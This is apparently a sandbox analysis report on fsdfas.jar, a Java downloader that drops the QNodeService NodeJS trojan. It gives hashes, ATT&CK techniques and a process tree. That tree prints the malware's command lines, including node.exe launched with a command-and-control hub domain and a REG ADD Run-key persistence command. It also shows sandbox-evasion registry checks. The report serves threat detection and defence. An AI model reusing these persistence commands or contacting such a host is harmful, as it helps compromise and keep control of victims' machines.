qnodeservice | 6b9c4f7252046dbdc98d8eb537bdc776b1e35040b86c1dc1927c2e6bdd7e6c0d

General

Target

fsdfas.jar
Size

68KB
MD5

eeb9a3c4cc1fd0e95ff4184a50eb49d9
SHA1

8445135ef24533a22270fd15d9a9e767c43168e6
SHA256

6b9c4f7252046dbdc98d8eb537bdc776b1e35040b86c1dc1927c2e6bdd7e6c0d
SHA512

8533d4d2ef1fbcf7df5c452f613606df19a6271a54c4114809c3dfb21a0900e9d58474ba39da63b4bbd7aec4ed15279b81a3fcf538560e8e6bcc92781866ebcd

Score

10^/10

trojan qnodeservice persistence

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
2040	node.exe
3192	node.exe
3900	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2627584638-3284755310-3019450177-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2627584638-3284755310-3019450177-1000\Software\Microsoft\Windows\CurrentVersion\Run\dcab72b4-51f8-49ea-8e07-27aff8c86805 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab61-170.dat	js
behavioral2/files/0x000100000001ab61-173.dat	js
behavioral2/files/0x000100000001ab61-177.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
30	wtfismyip.com
29	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2040	node.exe
2040	node.exe
2040	node.exe
2040	node.exe
3192	node.exe
3192	node.exe
3192	node.exe
3192	node.exe
3900	node.exe
3900	node.exe
3900	node.exe
3900	node.exe
3900	node.exe
3900	node.exe
3900	node.exe
3900	node.exe
3900	node.exe
3900	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3944 wrote to memory of 2672	3944	java.exe	75
PID 3944 wrote to memory of 2672	3944	java.exe	75
PID 2672 wrote to memory of 2040	2672	javaw.exe	79
PID 2672 wrote to memory of 2040	2672	javaw.exe	79
PID 2040 wrote to memory of 3192	2040	node.exe	81
PID 2040 wrote to memory of 3192	2040	node.exe	81
PID 3192 wrote to memory of 3900	3192	node.exe	82
PID 3192 wrote to memory of 3900	3192	node.exe	82
PID 3900 wrote to memory of 392	3900	node.exe	84
PID 3900 wrote to memory of 392	3900	node.exe	84
PID 392 wrote to memory of 1712	392	cmd.exe	85
PID 392 wrote to memory of 1712	392	cmd.exe	85

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\fsdfas.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:3944
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\57f14e08.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2672
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain success87.hopto.org
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2040
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_kSFWED\boot.js --hub-domain success87.hopto.org
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3192
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_kSFWED\boot.js --hub-domain success87.hopto.org
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3900
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "dcab72b4-51f8-49ea-8e07-27aff8c86805" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:392
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "dcab72b4-51f8-49ea-8e07-27aff8c86805" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:1712

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2040-171-0x0000007D5EB00000-0x0000007D5EB01000-memory.dmp

Filesize
4KB

Download
memory/3192-174-0x0000034F75540000-0x0000034F75541000-memory.dmp

Filesize
4KB

Download
memory/3900-178-0x0000020548040000-0x0000020548041000-memory.dmp

Filesize
4KB

Download

Analysis

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